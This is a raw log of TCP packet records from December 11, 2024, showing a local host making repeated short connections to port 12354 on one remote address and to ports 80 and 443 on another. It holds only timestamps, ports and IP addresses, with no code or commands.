Dec 11, 2024 16:30:43.959028006 CET	57932	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:43.959252119 CET	57933	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:43.961442947 CET	12354	57838	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:44.078589916 CET	12354	57932	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:44.078605890 CET	80	57933	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:45.534281969 CET	80	57933	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:45.534338951 CET	57933	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:45.646737099 CET	58975	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:45.646780014 CET	443	58975	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:45.646997929 CET	58975	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:45.647751093 CET	58975	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:45.647758961 CET	443	58975	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:45.959122896 CET	12354	57838	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:45.959249020 CET	57838	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:45.959893942 CET	57838	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:45.960621119 CET	59221	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:46.068351984 CET	12354	57932	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:46.068408012 CET	57932	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:46.068927050 CET	57932	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:46.069236994 CET	59300	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:46.080828905 CET	12354	57838	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:46.081682920 CET	12354	59221	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:46.081743002 CET	59221	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:46.082283974 CET	59221	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:46.190175056 CET	12354	57932	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:46.190581083 CET	12354	59300	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:46.190649033 CET	59300	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:46.191149950 CET	59300	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:46.203747034 CET	12354	59221	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:46.310586929 CET	12354	59300	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:47.342291117 CET	443	58975	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:47.342931032 CET	58975	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:47.343075991 CET	443	58975	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:47.346302986 CET	58975	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:47.349296093 CET	58975	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:47.349379063 CET	443	58975	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:47.349438906 CET	58975	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:47.458940983 CET	57933	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:47.459168911 CET	60832	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:47.579756021 CET	80	60832	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:47.579834938 CET	60832	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:47.579991102 CET	80	57933	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:47.580044985 CET	57933	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:47.580605030 CET	60832	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:47.700370073 CET	80	60832	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:47.723887920 CET	59300	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:47.723903894 CET	59221	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:47.723931074 CET	60832	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:47.724925995 CET	61033	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:47.848160982 CET	12354	61033	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:47.848278999 CET	61033	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:47.848752975 CET	61033	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:47.938884974 CET	61040	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:47.968102932 CET	12354	61033	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:48.058340073 CET	12354	61040	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:48.058429956 CET	61040	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:48.211827993 CET	61040	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:48.331269979 CET	12354	61040	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:48.390230894 CET	61043	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:48.509481907 CET	80	61043	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:48.509557962 CET	61043	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:48.510116100 CET	61043	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:48.630208015 CET	80	61043	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:49.959575891 CET	12354	61033	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:49.959664106 CET	61033	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:49.959760904 CET	61033	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:49.960213900 CET	62645	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:50.073787928 CET	80	61043	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:50.073857069 CET	61043	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:50.076569080 CET	62756	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:50.076611996 CET	443	62756	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:50.076683998 CET	62756	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:50.077097893 CET	62756	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:50.077114105 CET	443	62756	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:50.081525087 CET	12354	61033	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:50.081543922 CET	12354	62645	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:50.081783056 CET	62645	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:50.081924915 CET	62645	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:50.161890030 CET	12354	61040	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:50.161986113 CET	61040	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:50.162189007 CET	61040	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:50.162655115 CET	62886	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:50.201325893 CET	12354	62645	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:50.281522989 CET	12354	61040	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:50.281958103 CET	12354	62886	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:50.284099102 CET	62886	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:50.284451008 CET	62886	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:50.404745102 CET	12354	62886	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:51.782499075 CET	443	62756	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:51.782607079 CET	62756	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:51.783274889 CET	443	62756	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:51.783499002 CET	62756	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:51.799635887 CET	62756	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:51.799715996 CET	443	62756	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:51.799773932 CET	62756	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:51.908691883 CET	62886	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:51.908854961 CET	62645	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:51.910146952 CET	64289	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:51.920207024 CET	61043	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:51.920624018 CET	64293	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:52.029761076 CET	12354	64289	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:52.029922962 CET	64289	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:52.036093950 CET	64289	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:52.040061951 CET	80	64293	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:52.040076971 CET	80	61043	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:52.040167093 CET	61043	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:52.042018890 CET	64293	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:52.064003944 CET	64293	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:52.076041937 CET	64346	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:52.155776024 CET	12354	64289	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:52.183342934 CET	80	64293	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:52.195348024 CET	12354	64346	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:52.195548058 CET	64346	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:52.224531889 CET	64346	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:52.343930960 CET	12354	64346	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:53.610235929 CET	80	64293	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:53.610408068 CET	64293	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:53.613820076 CET	65457	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:53.613859892 CET	443	65457	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:53.614007950 CET	65457	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:53.614614010 CET	65457	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:53.614624977 CET	443	65457	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:54.146768093 CET	12354	64289	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:54.147466898 CET	64289	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:54.147747040 CET	64289	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:54.148185968 CET	49663	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:54.267363071 CET	12354	64289	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:54.267936945 CET	12354	49663	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:54.268014908 CET	49663	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:54.268486023 CET	49663	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:54.320853949 CET	12354	64346	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:54.320924044 CET	64346	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:54.321522951 CET	64346	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:54.322482109 CET	49806	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:54.388423920 CET	12354	49663	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:54.441112995 CET	12354	64346	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:54.442011118 CET	12354	49806	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:54.442094088 CET	49806	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:54.442477942 CET	49806	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:54.562158108 CET	12354	49806	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:55.307919979 CET	443	65457	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:55.308017969 CET	65457	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:55.308763027 CET	443	65457	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:55.308876038 CET	65457	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:55.312693119 CET	65457	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:55.312741995 CET	443	65457	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:55.312794924 CET	65457	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:55.439450979 CET	64293	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:55.439913988 CET	50946	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:55.559426069 CET	80	50946	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:55.559452057 CET	80	64293	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:55.559495926 CET	50946	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:55.559528112 CET	64293	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:55.575814009 CET	50946	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:55.697037935 CET	80	50946	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:55.918190956 CET	49806	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:55.918227911 CET	50946	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:55.918245077 CET	49663	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:55.919506073 CET	51271	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:56.039263964 CET	12354	51271	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:56.039331913 CET	51271	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:56.039516926 CET	51355	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:56.040074110 CET	51271	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:56.041731119 CET	51356	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:56.159718990 CET	12354	51355	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:56.159786940 CET	51355	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:56.160415888 CET	12354	51271	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:56.161917925 CET	80	51356	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:56.162833929 CET	51356	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:56.165035009 CET	51355	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:56.165678024 CET	51356	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:56.284306049 CET	12354	51355	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:56.285156012 CET	80	51356	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:58.146723986 CET	12354	51271	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:58.146799088 CET	51271	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:58.147823095 CET	51271	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:58.148765087 CET	53259	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:58.271014929 CET	12354	51271	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:58.271958113 CET	12354	51355	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:58.272046089 CET	51355	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:58.272145033 CET	12354	53259	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:58.272203922 CET	53259	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:58.273421049 CET	51355	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:58.273624897 CET	53259	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:58.274178028 CET	53335	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:58.392779112 CET	12354	51355	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:58.392865896 CET	12354	53259	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:58.393455029 CET	12354	53335	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:58.393516064 CET	53335	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:58.393758059 CET	53335	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:58.513308048 CET	12354	53335	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:59.923397064 CET	53259	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:59.923408985 CET	51356	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:59.923413038 CET	53335	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:59.923873901 CET	55327	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:31:00.043332100 CET	12354	55327	107.163.241.204	192.168.2.8
Dec 11, 2024 16:31:00.043767929 CET	55327	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:31:00.064033031 CET	55327	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:31:00.068974018 CET	55407	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:31:00.069684029 CET	55408	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:31:00.183438063 CET	12354	55327	107.163.241.204	192.168.2.8
Dec 11, 2024 16:31:00.188410997 CET	12354	55407	107.163.241.204	192.168.2.8
Dec 11, 2024 16:31:00.188546896 CET	55407	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:31:00.188936949 CET	80	55408	202.108.0.52	192.168.2.8
Dec 11, 2024 16:31:00.189058065 CET	55407	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:31:00.189099073 CET	55408	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:31:00.189699888 CET	55408	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:31:00.309545994 CET	12354	55407	107.163.241.204	192.168.2.8
Dec 11, 2024 16:31:00.310283899 CET	80	55408	202.108.0.52	192.168.2.8
Dec 11, 2024 16:31:01.779777050 CET	80	55408	202.108.0.52	192.168.2.8
Dec 11, 2024 16:31:01.779838085 CET	55408	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:31:01.782908916 CET	57596	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:31:01.782954931 CET	443	57596	202.108.0.52	192.168.2.8
Dec 11, 2024 16:31:01.783015013 CET	57596	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:31:01.784008026 CET	57596	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:31:01.784038067 CET	443	57596	202.108.0.52	192.168.2.8
Dec 11, 2024 16:31:02.162570953 CET	12354	55327	107.163.241.204	192.168.2.8
Dec 11, 2024 16:31:02.162662983 CET	55327	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:31:02.163223028 CET	55327	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:31:02.163577080 CET	58015	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:31:02.282669067 CET	12354	55327	107.163.241.204	192.168.2.8
Dec 11, 2024 16:31:02.283046961 CET	12354	58015	107.163.241.204	192.168.2.8
Dec 11, 2024 16:31:02.283128977 CET	58015	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:31:02.285630941 CET	58015	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:31:02.322565079 CET	12354	55407	107.163.241.204	192.168.2.8
Dec 11, 2024 16:31:02.322643042 CET	55407	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:31:02.323040009 CET	55407	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:31:02.323610067 CET	58198	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:31:02.406560898 CET	12354	58015	107.163.241.204	192.168.2.8
Dec 11, 2024 16:31:02.442732096 CET	12354	55407	107.163.241.204	192.168.2.8
Dec 11, 2024 16:31:02.443384886 CET	12354	58198	107.163.241.204	192.168.2.8
Dec 11, 2024 16:31:02.443512917 CET	58198	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:31:02.450385094 CET	58198	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:31:02.572446108 CET	12354	58198	107.163.241.204	192.168.2.8
Dec 11, 2024 16:31:03.522212982 CET	443	57596	202.108.0.52	192.168.2.8
Dec 11, 2024 16:31:03.522286892 CET	57596	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:31:03.523039103 CET	443	57596	202.108.0.52	192.168.2.8
Dec 11, 2024 16:31:03.523125887 CET	57596	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:31:03.555260897 CET	57596	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:31:03.555365086 CET	443	57596	202.108.0.52	192.168.2.8
Dec 11, 2024 16:31:03.555461884 CET	57596	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:31:03.663208008 CET	55408	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:31:03.663619995 CET	58372	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:31:03.784719944 CET	80	58372	202.108.0.52	192.168.2.8
Dec 11, 2024 16:31:03.784799099 CET	58372	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:31:03.785270929 CET	80	55408	202.108.0.52	192.168.2.8
Dec 11, 2024 16:31:03.786021948 CET	55408	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:31:03.796914101 CET	58372	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:31:03.916496992 CET	80	58372	202.108.0.52	192.168.2.8
Dec 11, 2024 16:31:04.063808918 CET	58372	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:31:04.063834906 CET	58198	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:31:04.064062119 CET	58015	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:31:04.065565109 CET	58788	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:31:04.179143906 CET	58926	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:31:04.179547071 CET	58927	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:31:04.185753107 CET	12354	58788	107.163.241.204	192.168.2.8
Dec 11, 2024 16:31:04.186048031 CET	58788	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:31:04.186939001 CET	58788	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:31:04.300067902 CET	12354	58926	107.163.241.204	192.168.2.8
Dec 11, 2024 16:31:04.300096989 CET	80	58927	202.108.0.52	192.168.2.8
Dec 11, 2024 16:31:04.300172091 CET	58926	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:31:04.300172091 CET	58927	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:31:04.311491966 CET	12354	58788	107.163.241.204	192.168.2.8
Dec 11, 2024 16:31:04.320209026 CET	58926	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:31:04.320327044 CET	58927	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:31:04.443478107 CET	12354	58926	107.163.241.204	192.168.2.8
Dec 11, 2024 16:31:04.443502903 CET	80	58927	202.108.0.52	192.168.2.8
Dec 11, 2024 16:31:05.877209902 CET	80	58927	202.108.0.52	192.168.2.8
Dec 11, 2024 16:31:05.877264023 CET	58927	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:31:05.882478952 CET	60591	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:31:05.882515907 CET	443	60591	202.108.0.52	192.168.2.8
Dec 11, 2024 16:31:05.882571936 CET	60591	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:31:05.883219004 CET	60591	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:31:05.883229971 CET	443	60591	202.108.0.52	192.168.2.8
Dec 11, 2024 16:31:06.305207014 CET	12354	58788	107.163.241.204	192.168.2.8
Dec 11, 2024 16:31:06.305334091 CET	58788	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:31:06.305670023 CET	58788	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:31:06.309730053 CET	61026	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:31:06.425208092 CET	12354	58788	107.163.241.204	192.168.2.8
Dec 11, 2024 16:31:06.426681042 CET	12354	58926	107.163.241.204	192.168.2.8
Dec 11, 2024 16:31:06.426757097 CET	58926	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:31:06.427474976 CET	58926	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:31:06.428244114 CET	61174	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:31:06.429369926 CET	12354	61026	107.163.241.204	192.168.2.8
Dec 11, 2024 16:31:06.429557085 CET	61026	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:31:06.429953098 CET	61026	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:31:06.546755075 CET	12354	58926	107.163.241.204	192.168.2.8
Dec 11, 2024 16:31:06.547575951 CET	12354	61174	107.163.241.204	192.168.2.8
Dec 11, 2024 16:31:06.548051119 CET	61174	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:31:06.549132109 CET	12354	61026	107.163.241.204	192.168.2.8
Dec 11, 2024 16:31:06.558762074 CET	61174	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:31:06.679887056 CET	12354	61174	107.163.241.204	192.168.2.8
Dec 11, 2024 16:31:07.580611944 CET	443	60591	202.108.0.52	192.168.2.8
Dec 11, 2024 16:31:07.580682993 CET	60591	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:31:07.581398964 CET	443	60591	202.108.0.52	192.168.2.8
Dec 11, 2024 16:31:07.581439018 CET	60591	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:31:07.609901905 CET	60591	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:31:07.609955072 CET	443	60591	202.108.0.52	192.168.2.8
Dec 11, 2024 16:31:07.610002995 CET	60591	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:31:07.722466946 CET	58927	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:31:07.722732067 CET	62438	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:31:07.843985081 CET	80	62438	202.108.0.52	192.168.2.8
Dec 11, 2024 16:31:07.844001055 CET	80	58927	202.108.0.52	192.168.2.8
Dec 11, 2024 16:31:07.844050884 CET	62438	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:31:07.844151020 CET	58927	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:31:07.844346046 CET	62438	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:31:07.964040995 CET	80	62438	202.108.0.52	192.168.2.8
Dec 11, 2024 16:31:08.079675913 CET	61026	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:31:08.079677105 CET	62438	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:31:08.079786062 CET	61174	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:31:08.080580950 CET	62555	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:31:08.194403887 CET	62720	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:31:08.195003033 CET	62721	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:31:08.200706005 CET	12354	62555	107.163.241.204	192.168.2.8
Dec 11, 2024 16:31:08.201005936 CET	62555	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:31:08.201455116 CET	62555	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:31:08.314448118 CET	80	62720	202.108.0.52	192.168.2.8
Dec 11, 2024 16:31:08.314618111 CET	62720	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:31:08.315435886 CET	12354	62721	107.163.241.204	192.168.2.8
Dec 11, 2024 16:31:08.317596912 CET	62720	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:31:08.317676067 CET	62721	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:31:08.320019960 CET	62721	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:31:08.320884943 CET	12354	62555	107.163.241.204	192.168.2.8
Dec 11, 2024 16:31:08.440061092 CET	80	62720	202.108.0.52	192.168.2.8
Dec 11, 2024 16:31:08.441179991 CET	12354	62721	107.163.241.204	192.168.2.8
Dec 11, 2024 16:31:09.877721071 CET	80	62720	202.108.0.52	192.168.2.8
Dec 11, 2024 16:31:09.877777100 CET	62720	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:31:09.882775068 CET	64400	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:31:09.882824898 CET	443	64400	202.108.0.52	192.168.2.8
Dec 11, 2024 16:31:09.882890940 CET	64400	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:31:09.883214951 CET	64400	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:31:09.883224010 CET	443	64400	202.108.0.52	192.168.2.8
Dec 11, 2024 16:31:10.318623066 CET	12354	62555	107.163.241.204	192.168.2.8
Dec 11, 2024 16:31:10.318809032 CET	62555	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:31:10.319544077 CET	62555	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:31:10.325195074 CET	64700	12354	192.168.2.8	107.163.241.204
